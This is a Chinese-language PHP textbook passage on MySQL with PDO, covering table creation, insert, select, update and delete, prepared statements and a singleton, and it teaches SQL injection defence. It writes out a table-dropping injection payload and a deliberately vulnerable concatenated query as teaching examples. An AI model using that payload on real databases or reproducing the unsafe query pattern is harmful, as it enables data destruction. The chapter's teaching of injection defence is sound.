    注意,“当前日期时间”将是使用 MySQL 服务器时区偏移设置的值,这可能与应用程序服务器不同。例如,当您将应用程序部署到位于不同时区的数据中心的服务器上时,远程服务器的系统时区可能设置为本地时区偏移。您可能想确保您的服务器设置不应用时区偏移——使用 UTC 时区,或者您可能想使用时间戳值而不是可读日期。

您可以在packt.live/2MAGloG找到完整的语法和更多信息。

练习 7.14:创建表

在这个练习中,我们将学习如何使用 PDO 选择数据库,以及如何使用PDO实例创建表:

  1. 创建一个名为create-table.php的文件,并插入以下代码。在获取PDO实例后,我们定义CREATE TABLE语句:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection-no-db.php';
    $createStmt = "CREATE TABLE users
    (
        id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
        email VARCHAR(254) NOT NULL UNIQUE,
        signup_time DATETIME DEFAULT CURRENT_TIMESTAMP NOT NULL
    )";
    

    执行语句后,如果失败,将打印错误消息,并停止执行或脚本。否则,将打印成功消息到输出:

    if ($pdo->exec($createStmt) === false) {
        list(, , $driverErrMsg) = $pdo->errorInfo();
        echo "Error creating the users table: $driverErrMsg" . PHP_EOL;
        return;
    }
    echo "The users table was successfully created.";
    
  2. 在命令行界面中运行php create-table.php脚本。预期以下错误输出:![图 7.17:创建表错误 图片

    图 7.17:创建表错误

    我们得到一个错误消息,指示未选择数据库。从该语句中我们了解到,MySQL 服务器可以存储多个数据库,并且在执行语句时,我们应该指明我们想要在其中运行的数据库。为了实现这一点,我们可以在 SQL 语句中包含数据库名(例如,CREATE TABLE demo.users ...)或在与 MySQL 服务器建立连接之前在 DSN 中指定数据库名。

  3. connection-no-db.php文件复制到connection.php,并在connection.php文件中将数据库名添加到 DSN 中。将$dsn变量替换为以下值:

    $dsn = "mysql:host=mysql-host;port=3306;dbname=demo;charset=utf8mb4";
    

    注意

    在所有练习中,我们将需要此connection.php文件,以重用代码,而不是在每次使用数据库连接的文件中键入此代码块。

  4. create-table.php脚本中引入connection.php文件,而不是connection-no-db.php

    $pdo = require 'connection.php';
    
  5. 让我们再次运行我们的脚本:php create-table.php。预期以下输出:

![图 7.18:成功创建表图片

图 7.18:成功创建表

太好了!您已成功在demo数据库中创建了第一个表。

在这个练习中,您学习了如何在连接时选择数据库,以及如何在 SQL 数据库中创建表。请注意,查询以一个动作(CREATE)开始,然后是对象类型(模式/数据库或表),然后是所需的对象定义。您可能还注意到,列名称后面跟着数据类型声明(整数、字符串、日期等),然后是额外的约束(NOT NULLPRIMARY KEYUNIQUE等)。

如您所见,SQL 语句非常描述性,易于学习和记忆。所以,让我们通过更多令人兴奋的例子来继续前进!

向 MySQL 数据库表插入数据

由于我们已经知道如何在 MySQL 数据库中创建表,让我们向其中添加一些数据。

在将数据插入到表中之前,我们必须以这种方式编写脚本,以便要插入的数据将与表的列定义相匹配。这意味着我们无法将字符串存储在定义为整数数据类型的列中。在这种情况下,MySQL 服务器将拒绝查询并返回错误。同时,请注意,由于大部分数据将来自用户输入,因此在将其发送到数据库服务器之前,您应该始终对其进行验证,并且同时正确地转义它,以避免另一个称为 SQL 注入的安全问题,该问题将在本章后面介绍。

标准的INSERT语句语法如下:

INSERT INTO tbl_name
  (col_name [, col_name] ...) 
  VALUES (value_list) [, (value_list)] ...

当前的value_list是:

value [, value] ...

注意

value_list中指定的值数量应与col_name计数匹配。INSERT语句的完整语法可以在官方文档页面packt.live/32fXkmP找到。

一个示例INSERT查询可能如下所示:

INSERT INTO employees (email, first_name, last_name)
  VALUES ('john.smith@mail.com','John','Smith'),
         ('jane.smith@mail.com','Jane','Smith')

在此情况下,将在employees表中插入两行,将VALUES中的值设置到列列表中相应的位置列;例如,john.smith@mail.com被分配到email列,而John值被分配到first_name列。

练习 7.15:向表中插入数据

在这个练习中,我们将熟悉INSERT语句,了解我们如何向表中添加数据:

  1. 创建一个名为insert.php的文件。在获取PDO实例后,我们将INSERT语句存储在$insertStmt变量下。此语句将值john.smith@mail.com插入到users表的email列中。我们没有指定 ID 值;因此,它必须使用auto_increment值自动设置,对于第一条记录,这将是一个1。我们还缺少signup_time列,它默认将设置记录添加时的时间。将以下代码添加到insert.php文件中:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection.php';
    $insertStmt = "INSERT INTO users (email) VALUES ('john.smith@mail.com')";
    
  2. 如果语句执行失败,脚本将打印错误消息并不会继续执行;否则,将打印成功消息,包括刚刚插入的行的 ID,使用PDO::lastInsertId()方法:

    if ($pdo->exec($insertStmt) === false) {
        list(, , $driverErrMsg) = $pdo->errorInfo();
        echo "Error inserting into the users table: $driverErrMsg" . PHP_EOL;
        return;
    }
    echo "Successfully inserted into users table the record with id " .   $pdo->lastInsertId() . PHP_EOL;
    
  3. 使用php insert.php运行脚本。第一个输出将如下所示:![图 7.19:向表中插入记录 图片

    图 7.19:向表中插入记录

  4. 再次运行脚本。现在,您应该期望在输出中看到以下响应:![图 7.20:重复条目错误 图片

    图 7.20:重复条目错误

    这证明了之前的脚本执行成功,并且电子邮件列中的UNIQUE约束按预期工作。

  5. 现在让我们使用 Workbench 客户端查看users表中的数据:

![图 7.21:使用 Workbench 客户端检查数据库中的数据图片

图 7.21:使用 Workbench 客户端检查数据库中的数据

如预期,我们有一行数据,id = 1email列的john.smith@mail.com,以及 MySQL 服务器在行插入时设置的注册时间。

恭喜您已成功将初始数据添加到数据库表中!这很简单。现在,既然我们知道需要处理用户输入,我们必须确保脚本将以完全安全的方式运行查询,避免 SQL 注入,这可能导致数据泄露和系统被破坏。

SQL 注入

那么,SQL 注入究竟是什么呢?SQL 注入是当今野网中最常见的漏洞之一。它是一种用于窃取数据、控制用户账户或破坏数据库的技术,通过通过 HTML 表单输入发送恶意查询片段来执行。

为了更好地理解这一点,这里有一个简单的例子,说明您如何使用 SQL 注入技术删除表,给定一个接受用户输入但不进行清理和/或验证的查询:

$rawInput = $_POST['email'];
$query = "INSERT INTO users (email) VALUES ($rawInput)";

当电子邮件输入值为""); DROP TABLE users; /**时,查询将变为:

INSERT INTO users (email) VALUES (""); DROP TABLE users; /**)

发生的事情很容易理解;执行了INSERT语句,将空值添加到email列,然后执行了删除表的查询,使users表消失,而/**)部分被忽略,因为/**在 SQL 查询中标记了注释的开始。

预处理语句

为了防止 SQL 注入,我们应该转义输入数据。PDO 提供了一个替代方案——所谓的预处理语句PDOStatement类)。这些语句是模板,看起来像常规的 SQL 查询,不同之处在于,它们不包含值,而是包含占位符,这些占位符将在执行时被转义后的值替换。占位符的映射是通过PDOStatement::bindParam()方法完成的,或者通过在执行时提供映射,作为PDOStatement::execute()方法的参数。

占位符有两种类型:

  • 位置占位符,?

    查询示例:

    INSERT INTO users (email) VALUES (?);
    
  • 命名占位符,名称前加冒号,:

    查询示例:

    INSERT INTO users (email) VALUES (:email);
    

使用预处理语句提供了主要的好处:

  • 预处理语句的参数不应加引号,因为这由 PDO 自动处理,同时它也会在必要时处理值的转义。这意味着您可以使用带有占位符的预处理语句确保没有 SQL 注入。

  • 查询只由 MySQL 服务器发送和解析一次,这意味着相同的语句可以多次执行,只发送占位符的数据。这导致执行时间更快,带宽使用更低。

    备注

    默认情况下,PDO 会模拟预处理语句以支持没有此功能的数据库,如果您想在 MySQL 服务器上真正地使用预处理语句,您应该在连接选项中将PDO::ATTR_EMULATE_PREPARES设置为false

模拟预处理语句意味着在调用PDO::prepare()时,查询不会被发送到服务器进行检查。相反,PDO 将在PDO::execute()中转义绑定参数,并自行替换占位符。然后,原始 SQL 查询被发送到数据库服务器,这意味着,这种方式下,您无法从数据库在多次执行预处理语句时可能进行的性能优化中受益。

使用预处理语句

要获取一个预处理语句,您必须调用PDO::prepare()方法,并提供语句作为第一个参数。输出是PDOStatement类的实例(预处理语句),然后用于绑定参数值并执行语句。

PDO::bindParam()用于绑定预处理语句的参数,其语法如下:

PDOStatement::bindParam(mixed $parameter, mixed &$variable [, int $data_type =   PDO::PARAM_STR [, int $length [, mixed $driver_options ]]])

接受的输入参数:

  • parameter:参数标识符;对于使用命名占位符的预处理语句,这将是一个形式为:name的参数名称。对于使用问号占位符的预处理语句,这将是指参数的一个索引位置。

  • variable:要绑定到 SQL 语句参数的 PHP 变量名称;请注意,此参数是通过引用传递的,这意味着如果我们执行语句之前修改了变量,新值将在调用PDO::execute()时发送到服务器。

  • data_type:使用PDO::PARAM_*常量指定的参数数据类型;例如,PDO::PARAM_INT

  • length:数据类型的长度。要表示参数是从存储过程的一个OUT参数,您必须显式设置长度。

  • driver_options:自解释。

PDO::bindParam()方法在成功时返回true,否则返回false

要执行预处理语句,请使用PDO::execute()方法。语法如下:

PDOStatement::execute([array $input_parameters])

唯一接受的参数是一个可选的$input_parameters数组,其中包含用于语句占位符的值。数组的所有值都被视为PDO::PARAM_STR

此方法在成功时返回 true,否则返回 false

下面是一个使用位置占位符的预处理语句的示例查询:

$stmt = $pdo->prepare("INSERT INTO users (email) VALUES (?)");
$stmt->bindParam(1, $email);
$email = 'first@mail.com';
$stmt->execute();
$email = 'second@mail.com';
$stmt->execute();

或者可以写成如下形式:

$stmt = $pdo->prepare("INSERT INTO users (email) VALUES (?)");
$stmt->execute(['first@mail.com']);
$stmt->execute(['second@mail.com']);

下面是一个使用命名占位符的预处理语句的示例查询:

stmt = $pdo->prepare("INSERT INTO users (email) VALUES (:email)");
$stmt->bindParam(':email', $email);
$email = 'first@mail.com';
$stmt->execute();
$email = 'second@mail.com';
$stmt->execute();

或者可以写成如下形式:

$stmt = $pdo->prepare("INSERT INTO users (email) VALUES (:email)");
$stmt->bindParam(':email', $email);
$stmt->execute([':email' => 'first@mail.com']);
$stmt->execute([':email' => 'second@mail.com']);

注意,$email 变量只被分配给 :email 占位符一次,而其数据改变了两次,每次改变后都会执行相应的语句。每个语句都会发送 $email 变量在该执行点的当前值,这是由于在 PDO::bindParam() 方法中使用变量引用而不是按值传递变量而成为可能的。

练习 7.16:使用预处理语句插入数据

在这个练习中,你将创建一个脚本,使用预处理语句从用户输入中插入新的用户电子邮件:

  1. 创建一个名为 insert-prepared.php 的文件,并添加以下代码。和之前一样,我们获取 PDO 实例,然后是其 prepare() 方法,提供查询模板。作为回报,我们得到一个 PDOStatement 实例,我们将其存储在 $insertStmt 变量中:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection.php';
    $insertStmt = $pdo->prepare("INSERT INTO users (email) VALUES (:email)");
    
  2. 然后,我们调用 PDOStatementexecute() 方法,提供占位符-值映射。在这种情况下,值将是脚本执行时提供的第一个参数。我们检查结果,如果失败,则打印错误消息并停止脚本的执行。否则,打印成功消息:

    if ($insertStmt->execute([':email' => $argv[1] ?? null]) === false) {
        list(, , $driverErrMsg) = $insertStmt->errorInfo();
        echo "Error inserting into the users table: $driverErrMsg" . PHP_EOL;
        return;
    }
    echo "Successfully inserted into users table" . PHP_EOL;
    
  3. 使用 php insert-prepared.php john.smith@mail.com 运行脚本。输出应该如下所示:![图 7.22:重复条目错误 img/C14196_07_22.jpg

    图 7.22:重复条目错误

    这是一个预期的错误,因为我们已经添加了此电子邮件,并且 UNIQUE 关键字确保不会添加具有相同电子邮件地址的其他条目。有关表定义,请参阅 练习 7.14创建表

  4. 使用 php insert-prepared.php jane.smith@mail.com 运行脚本。这次,你应该期望得到一个类似以下的消息输出:![图 7.23:插入的记录 img/C14196_07_23.jpg

    图 7.23:插入的记录

    让我们使用 Workbench 检查记录:

    ![图 7.24:Workbench 显示的记录 img/C14196_07_24.jpg

    图 7.24:Workbench 显示的记录

    看起来不错。你已经成功运行了一个 PDO 预处理语句。你会注意到 jane.smith@mail.com 的 ID 不是 2,而是 5。这是因为之前运行的预处理语句,即使是失败的,也增加了 AUTO_INCREMENT 的值。

  5. 让我们通过运行包含恶意查询片段的脚本来检查对 SQL 注入的保护:

    php insert-prepared.php '""); DROP TABLE users; /**' 
    

    输出类似于以下内容:

![图 7.25:插入的记录img/C14196_07_25.jpg

图 7.25:插入的记录

让我们使用 Workbench 检查结果:

![图 7.26:使用 Workbench 客户端显示所有记录img/C14196_07_26.jpg

图 7.26:使用 Workbench 客户端显示所有记录

它们看起来不错。我们已经防止了 SQL 注入,但由于在查询运行之前没有验证或清理输入,最终得到了损坏的数据。请参阅 第六章使用 HTTP 中的 清理和验证用户输入 部分。

从 MySQL 获取数据

到目前为止,你已经学习了如何以安全的方式创建数据库和表,以及如何将数据插入到表中。现在,是时候使用 PHP 获取并显示一些数据了。

要完成这个任务,我们使用 SELECT 语句,它具有以下最小语法:

SELECT column1 [, column2 …] FROM table

前面的查询将返回表中的所有记录,因为没有设置限制。因此,建议(在某些情况下可能是强制性的)在以下形式之一中使用 LIMIT 子句:

  • LIMIT row_count: 将返回前 row_count

  • LIMIT offset, row_count: 将从 offset 位置开始返回 row_count 行(例如,LIMIT 20, 10 将从位置 20 开始返回 10 行;另一个例子,LIMIT 0, 10 等同于 LIMIT 10,因为默认偏移量为零)

  • LIMIT row_count OFFSET offset: 与 LIMIT offset, row_count 相同

LIMIT 子句的一部分,SELECT 语句包含丰富的子句,可用于过滤、连接、分组或排序数据。您可以在官方文档页面检查 SELECT 语句的语法dev.mysql.com/doc/refman/5.7/en/select.html

一个非常简单的 SELECT 语句看起来像这样:

SELECT * FROM employees LIMIT 10;

此语句查询 employees 表的前 10 条记录。

注意

SELECT 语句中使用星号 * 而不是列名,将使 MySQL 执行额外的查找查询以检索查询表的列列表,并将原始查询中的 * 替换为该列列表。这会对 SQL 查询的性能产生影响,对于低流量应用程序来说影响并不显著;然而,无论项目大小或估计的流量负载如何,指定列列表而不是 * 被认为是良好的实践。

现在,让我们一步一步地检查如何使用各种示例从 MySQL 数据库中获取我们想要的数据。

练习 7.17:从 MySQL 获取数据

在这个练习中,你将学习如何以最简单的方式从 MySQL 数据库查询数据,获取结果集中的记录片段,通过特定列过滤数据,并按特定列排序数据:

  1. 创建 select-all.php 文件并添加以下代码。我们获取 PDO 实例并将 SELECT 查询存储在 $statement 变量中。然后,我们调用 PDO 对象实例的 query() 方法,在失败的情况下将输出一个布尔值 false,在成功的情况下将返回一个 PDOStatement 实例:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection.php';
    $statement = "SELECT * FROM users";
    $result = $pdo->query($statement);
    
  2. 在查询失败的情况下,我们打印错误消息并中断脚本执行。否则,我们打印All records行,并遍历所有结果集记录并打印它们,使用制表符分隔记录数据:

    if ($result === false) {
        list(, , $driverErrMsg) = $pdo->errorInfo();
        echo "Error querying the users table: $driverErrMsg" . PHP_EOL;
        return;
    }
    echo "All records" . PHP_EOL;
    while ($record = $result->fetch()) {
        echo implode("\t", $record) . PHP_EOL;
    }
    
  3. 我们使用略微修改的查询重复此操作,添加LIMIT子句(并且不再检查查询失败),然后打印Use LIMIT 2行,随后是结果集中的所有记录:

    $result = $pdo->query("SELECT * FROM users LIMIT 2");
    echo PHP_EOL . "Use LIMIT 2" . PHP_EOL;
    while ($record = $result->fetch()) {
        echo implode("\t", $record) . PHP_EOL;
    }
    
  4. 我们运行另一个查询,使用WHERE子句过滤结果集,并仅返回 ID 值大于3的记录。然后,我们打印Use WHERE id > 3行,随后是结果集中的所有记录:

    $result = $pdo->query("SELECT * FROM users WHERE id > 3");
    echo PHP_EOL . "Use WHERE id > 3" . PHP_EOL;
    while ($record = $result->fetch()) {
        echo implode("\t", $record) . PHP_EOL;
    }
    
  5. 最后,我们运行另一个查询,使用ORDER BY子句按id列降序排序输出。我们打印Use ORDER BY id DESC行,随后是结果集中的所有记录:

    $result = $pdo->query("SELECT * FROM users ORDER BY id DESC");
    echo PHP_EOL . "Use ORDER BY id DESC" . PHP_EOL;
    while ($record = $result->fetch()) {
        echo implode("\t", $record) . PHP_EOL;
    }
    

    注意

    最终文件可以在packt.live/31daUWP中查阅。

  6. 使用php select-all.php运行脚本。预期以下输出:

图 7.27:使用不同条件获取记录

图 7.27:使用不同条件获取记录

图 7.27:使用不同条件获取记录

恭喜!您已成功以不同的方式从 MySQL 数据库中获取数据:排序、过滤和切片表中的整个数据。

到目前为止,我们已经领略了数据库的强大功能。这仅仅是开始。

MySQL 中的更新记录

要在 MySQL 中更新记录,使用UPDATE语句。这通常与WHILE子句一起使用,以过滤要应用更新的行。

警告

UPDATE语句中不使用WHERE会导致更新应用于表中的所有记录。

PDOStatement::rowCount()方法返回由相应的PDOStatement对象执行的最后一个INSERTUPDATEDELETE语句影响的行数。

练习 7.18:在 MySQL 中更新记录

在这个练习中,您将学习如何对 MySQL 数据库的users表执行更新,将电子邮件设置为john.doe@mail.com,用于电子邮件列中数据不正确的记录(在我们的例子中是 ID 6):

  1. 创建一个名为update.php的文件,并添加以下代码。首先,我们获取PDO实例并更新参数。我们需要更新的记录id,这个值将从脚本的第一个输入参数中检索,默认为0(零)。我们还需要从脚本的第二个输入参数中检索email列的更新值。注意,这些值可以在使用网页中的 HTML 表单执行更新操作时从$_POST超级全局变量中检索:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection.php';
    $updateId = $argv[1] ?? 0;
    $updateEmail = $argv[2] ?? '';
    
  2. 然后,我们使用两个占位符idemail准备UPDATE语句:

    $updateStmt = $pdo->prepare("UPDATE users SET email = :email WHERE   id = :id");
    
  3. 我们执行UPDATE语句,提供一个参数中的占位符值映射,并测试结果;如果失败,将显示错误消息,并且脚本将返回(结束执行)。否则,将显示成功消息:

    if ($updateStmt->execute([':id' => $updateId, ':email' => $updateEmail])   === false) {
        list(, , $driverErrMsg) = $updateStmt->errorInfo();
        echo "Error running the query: $driverErrMsg" . PHP_EOL;
        return;
    }
    echo sprintf("The query ran successfully. %d row(s) were affected.",   $updateStmt->rowCount()) . PHP_EOL;
    
  4. 使用php update.php 6 john.doe@mail.com运行脚本并检查结果。预期的输出如下:图 7.28:更新记录

    图 7.28:更新记录

  5. 让我们在 Workbench 中检查结果:图 7.29:使用 Workbench 客户端显示数据库表数据

    图 7.29:使用 Workbench 客户端显示数据库表数据

    id为 6 的记录的电子邮件已更改为提供的值。看起来很棒!注意,如果你有另一个id,该记录的email字段中有错误数据,那么在运行命令时应该使用该id步骤 2中。

  6. 现在,让我们看看当我们为不存在的ID运行UPDATE查询时会发生什么:

    php update.php 16 john.doe@mail.com; 
    

    预期以下输出:

图 7.30:UPDATE 查询的输出

图 7.30:UPDATE 查询的输出

我们最终发现此查询没有行受到影响,逻辑看起来相当简单:UPDATE语句使用WHERE子句中的条件过滤要更新的行;在我们的情况下,通过id=16过滤没有行符合更新条件。

注意

尝试使用相同的、完全相同的值更新记录列的值,将导致受影响的行聚合计数为 0;换句话说,PDOStatement::rowCount()将返回0(零)。

从 MySQL 中删除记录

要从 MySQL 中删除记录,我们应该使用DELETE语句。这通常(如果不是总是)与WHERE子句一起使用,以指示要删除的匹配记录。

警告

DELETE语句中未提供WHERE子句将导致表中所有记录被删除。

通常,在DELETE语句的WHERE子句中,使用 id 列。这是精确指示删除行的情况。但WHERE子句也可以在DELETE语句中充分发挥其潜力。假设我们想要使用字符串列的部分匹配来删除记录。为了实现这一点,我们将使用LIKE运算符,这是一个简单而强大的模式匹配。使用此运算符,我们可以使用两个通配符:

  • _(下划线):匹配恰好一个字符

  • %(百分号):匹配任意数量的字符,包括没有字符

例如,LIKE php_将匹配php7列的值,但不会匹配phpphp70

另一方面,LIKE "php7%"将匹配php7php70,但不会匹配php

要知道删除了多少条记录,我们将使用之前提到的PDOStatement::rowCount()方法。

练习 7.19:从 MySQL 中删除记录

在这个练习中,你将学习如何使用WHERE子句中的部分匹配来从 MySQL 中删除记录:

  1. 创建一个名为 delete.php 的文件。

  2. 首先,我们像往常一样获取 PDO 实例,然后从输入参数中检索要匹配的字符串,然后使用 :partialMatch 占位符准备 DELETE 语句:

    <?php
    /** @var PDO $pdo */
    $pdo = require 'connection.php';
    $partialMatch = $argv[1] ?? '';
    $deleteStmt = $pdo->prepare("DELETE FROM users WHERE   email LIKE :partialMatch");
    
  3. 然后通过传递输入字符串执行该语句,在执行失败的情况下,我们打印错误信息。注意,:partialMatch 模式值是 %$partialMatch 变量值,这意味着我们将在列值中的任何位置寻找匹配,无论是开始、结束还是字符串值内部:

    if ($deleteStmt->execute([':partialMatch' => "%$partialMatch%"]) ===   false) {
        list(, , $driverErrMsg) = $deleteStmt->errorInfo();
        echo "Error deleting from the users table: $driverErrMsg" . PHP_EOL;
        return;
    }
    
  4. 如果语句执行成功,那么我们想知道影响了多少记录(被删除),我们将使用 PDOStatement::rowCount() 方法来做到这一点。我们将值存储在 $rowCount 变量中以便进一步使用,并评估其值。如果值为 0(零),则表示没有记录被删除,并且将打印出适当的消息到输出,包括查找项(部分匹配字符串)。否则,将打印出成功消息,指示删除的行数:

    if($rowCount = $deleteStmt->rowCount()){
        echo sprintf("Successfully deleted %d records matching '%s' from users       table.", $rowCount, $partialMatch) . PHP_EOL;
    } else {
        echo sprintf("No records matching '%s' were found in users table.",       $partialMatch) . PHP_EOL;
    }
    

    注意

    完整脚本可参考 packt.live/2MCeswE

  5. 使用 php delete.php smith 运行文件,并期待以下输出:图 7.31:删除记录截图

    图 7.31:删除记录截图

    图 7.31:删除记录截图

  6. 再次运行前面的命令。现在,你应该期待以下输出:图 7.32:删除数据错误截图

    图 7.32:删除数据错误截图

    图 7.32:删除数据错误

  7. 使用 Workbench 检查记录:

图 7.33:使用 Workbench 客户端显示数据库表数据

图 7.33:使用 Workbench 客户端显示数据库表数据

图 7.33:使用 Workbench 客户端显示数据库表数据

所有匹配 smith 的记录都已删除。

您通过使用 LIKE 操作符匹配记录成功完成了从数据库表中删除记录。有关操作符的完整列表,请参阅 packt.live/2OHMB0B

单例模式

通过定义一个私有构造函数(private) 并通过定义一个公共静态方法来返回该类的唯一实例。

当需要精确地一个对象(第一个实例)来在应用程序中执行操作时,这很有用。对于数据库连接类来说,这尤其有用,因为它不仅限制了类的多次实例化,还避免了与 MySQL 服务器的重复连接和断开操作,使得第一次建立的连接在整个请求-响应周期内对应用程序可用。

要测试(或演示)PHP 中的单例实现,一个简单的脚本文件就足够了:

DatabaseSingleton.php
1  <?php
2 
3  class DatabaseSingleton
4 {
5      private function __construct()
6      {
7          //$this->pdo = new PDO(...);
8      }
9 
10     public static function instance()
11     {
12         static $instance;
13         if (is_null($instance)) {
14             $instance = new static;
15         }
16         return $instance;
17     }
18 }
https://packt.live/35w4dCz

运行前面的脚本将始终返回以下内容:

图 7.34:输出截图

图 7.34:输出截图

图 7.34:输出截图

注意

当使用身份运算符(===)比较对象时,只有当对象变量引用的是同一类的相同实例时,它们才是相同的。

到目前为止,在本章中,你已经学习了如何使用数据库,从连接开始,创建数据库和表,然后转到添加、查询、更新和删除记录,最后通过使用预处理语句和匿名或命名占位符来保护查询。毫无疑问,MySQL 还有更多要提供——它值得一本整本书,但这里简要地涵盖了所有基本内容。

活动 7.1:联系人管理应用程序

你需要构建一个网站,用户可以在其中创建账户并登录来管理私人联系名单。该网站将使用数据库来存储用户登录数据,以及存储每个用户的联系信息。

除了本章中学习的数据库功能外,你还需要使用之前章节中的功能来构建网站(例如,来自第三章控制语句的条件;来自第四章函数的函数;来自第五章面向对象编程的 OOP;以及来自第六章使用 HTTP的表单验证)。你可能需要参考之前的章节来提醒如何实现所需的功能。

所需的页面如下:

  • 主页

  • 登录和注册页面

  • 个人资料页面

  • 联系人列表和添加/编辑联系人表单页面

布局和概述

布局如下所示:

  • 主页

图 7.35:主页布局

图 7.35:主页布局

页面顶部有一个水平导航栏,左侧显示网站标题,右侧显示登录按钮。登录成功后,登录按钮将被用户名替换,该用户名将链接到个人资料页面、联系人页面链接和注销链接。

内容是一条包含两个行动号召链接的消息:注册登录

登录页面将如下所示:

图 7.36:认证布局

图 7.36:认证布局

登录基于用户名和密码,因此内容是一个简单的登录表单,包含用户名密码字段,以及一个登录按钮。最后一句话是一个注册行动号召链接。

登录后,用户将被重定向到个人资料页面。

注册页面将如下所示:

图 7.37:注册页面布局

图 7.37:注册页面布局

内容是注册表单,包含以下输入:

  • 用户名

  • 密码

  • 密码 验证

用户名至少需要三个字符长,且仅限字母数字。密码至少需要六个字符长,并在注册时通过第二个密码输入进行验证。任何表单错误都应该显示在数据来源的输入下方,例如:

图 7.38:验证错误

图 7.38:验证错误

注册的账户还应保留注册日期。注册后,用户将被重定向到个人资料页面:

个人资料页面将如下所示:

图 7.39:个人资料页面布局

图 7.39:个人资料页面布局

这将包含问候语、个人资料数据和会话登录时间。虽然用户名和注册日期存储在数据库中,但会话登录时间可以存储在当前会话中。

联系人页面将如下所示:

图 7.40:联系人页面布局

图 7.40:联系人页面布局

内容分为两部分:联系人列表和联系人添加/编辑表单:

图 7.41:数据编辑和删除选项

图 7.41:数据编辑和删除选项

联系人列表将列出联系人记录,每个记录都有编辑删除链接。如果列表为空,则显示适当的消息而不是渲染空表。

联系人表单将具有以下字段名称:

  • 姓名:必填;至少两个字符

  • 电话:可选;必须只允许 +-() 1234567890

  • 电子邮件:必填;必须进行验证

  • 地址:可选;最大 255 个字符

    它应该看起来类似于以下内容:

图 7.42:联系人表单

图 7.42:联系人表单

对于无效数据,错误信息应放置在数据来源的输入下方。

访问联系人页面,表单已准备好用于创建新的联系人。一旦按下联系人的编辑按钮,联系人信息将被填写到表单中;提交表单更新现有联系人。

当认证用户访问主页、登录页面或注册页面时,他们将被重定向到个人资料页面。

默认页面标题为“联系人列表”。

现在,你应该从哪里开始呢?虽然,在大多数情况下,框架被用来简化每个项目的“入门”过程,而且由于我们将在后面的章节中介绍框架,所以让我们继续使用我们的 Bootstrap 示例。因此,让我们以前一个活动作为这个活动的起点(请参阅第六章使用 HTTP)。由于当前活动的代码将会改变,你可能想要从前一个活动中复制一份代码。

话虽如此,我会在这里和那里给你一些指导。

执行步骤

让我们看看与以前的活动相比,新要求需要什么:

  1. 首先,有一些新的页面,例如注册页面和联系人列表页面,它们需要一个模板和请求处理器(将处理特定 URI 的 HTTP 请求的函数)。

  2. 注册处理器将认证用户重定向到个人资料页面。否则,它将打印注册表单模板,并在POST请求的情况下处理表单。注册成功后,用户被认证并重定向到个人资料页面。

  3. 联系人处理器首先检查网站上是否有已认证的用户;如果没有,它将发送登录表单。此处理器将打印当前的联系列表和联系人添加/编辑表单。此外,此处理器将负责处理提交的联系人表单数据,以及删除联系人条目。

  4. 为了确保这项新功能,需要一个数据库,因此使用 PDO 与 MySQL RDBMS 一起使用可能是合适的;也许可以考虑使用数据库组件,以保持PDO实例,并在专用方法(函数)中执行特定的PDO操作。

  5. 由于身份验证是在登录和注册后执行的,现在将数据身份验证保存在一个地方是个好主意,比如一个我们可以称之为Auth的新组件,它可能负责其他常用的身份验证相关任务。Auth组件将主要处理 PHP 会话,设置会话中的已认证用户 ID 和登录时间戳,从会话中获取登录时间戳,根据当前会话中存储的用户 ID 获取用户,以及其他身份验证相关任务。

  6. 由于我们将在整个网站上使用用户数据,因此创建一个模型类(例如,User)可能是个好主意;这将包含数据库中的一行数据,并且可能包含一些相关功能(例如,检查输入密码与现有密码散列是否匹配)。我们数据库中也有联系信息,但由于我们只是在表格或表单中打印联系信息,而没有在网站的其他地方使用它们,也许我们可以跳过Contact模型。

  7. 此外,一些处理器将需要进行重构;例如,在登录处理器中,数据源应从内联定义的数组更改为数据库。在用户资料处理器中,所有用户资料图片列表和上传功能都将消失,连同支持联系功能——现在,它将是一个简单的页面,显示从数据库中获取的用户数据。

这里是执行此活动的步骤:

  1. 创建新的页面模板——注册和联系列表页面。

  2. 为注册和联系人页面创建请求处理器。

  3. 添加Database组件,其中将调用PDO对象以与 MySQL 服务器进行操作。

  4. 添加Auth组件,它将负责其他常用的身份验证相关任务(例如,检查用户是否已登录)。

  5. 创建User类,作为一个表格行模型(在src/models/目录中),它将包含一些相关功能(例如,检查输入密码与现有密码散列是否匹配)。

  6. 重构登录处理器,使其使用数据库作为用户的数据源。

  7. 重构用户资料处理器,使其仅从数据库中获取用户信息,然后将其发送到模板。

    注意

    此活动的解决方案可以在第 534 页找到。

摘要

在本章中,你学习了如何使用 PHP 处理文件,这包括创建、写入、读取以及其他与文件系统相关的操作。你还对 MySQL 数据库服务器执行了一些基本但强大的操作,创建了数据库结构,并插入、修改和删除数据。虽然一开始可能看起来有点复杂或令人不知所措,但请记住:这就像骑自行车一样——一旦练习得足够多,直到你感到舒适,你就永远不会忘记它(而且实际上它会让你从 A 点快速到达 B 点)。在下一章中,我们将介绍错误处理的概念,这对于识别应用程序中的潜在问题至关重要,并防止重要细节以令人讨厌的错误消息的形式泄露给用户。

第八章:8. 错误处理

概述

到本章结束时,你将能够描述 PHP 中的不同错误级别;使用自定义错误处理器;触发和记录错误消息;在关闭时捕获致命错误;解释 PHP 中异常的工作方式;定义、使用和捕获多个异常类;并注册顶级异常处理器。

此外,在本章中,你将触发所谓的用户级错误消息以及它们如何有帮助。在最后一部分,你将了解异常以及如何使用它们来控制脚本流程。

简介

在上一章中,你被介绍了 PHP 如何用于与文件系统交互,以便处理上传的文件、写入文本文件、创建文件和目录等。此外,你还被展示了如何使用 PHP 与 SQL 服务器一起操作结构化数据,例如用户账户或联系人列表。

在应用程序中处理错误非常重要,关注它们可以导致早期错误检测、性能改进以及应用程序的整体健壮性。错误可以触发以指示多种故障——数据丢失、语法错误、已弃用功能等,并且根据严重程度可能会终止脚本过程。例如,当数据库连接不可用时,应用程序会发出致命错误,这可以通过写入日志文件、向维护者/开发者发送包含丰富跟踪信息(如连接详情)的警报电子邮件,并在用户输出(例如浏览器)上显示友好的消息来处理。例如,在一个社交媒体网站上,当用户尝试对在中间被删除(或变得不可访问)的帖子添加评论时,会显示一个错误,通知无法添加评论的失败。

PHP 中的错误

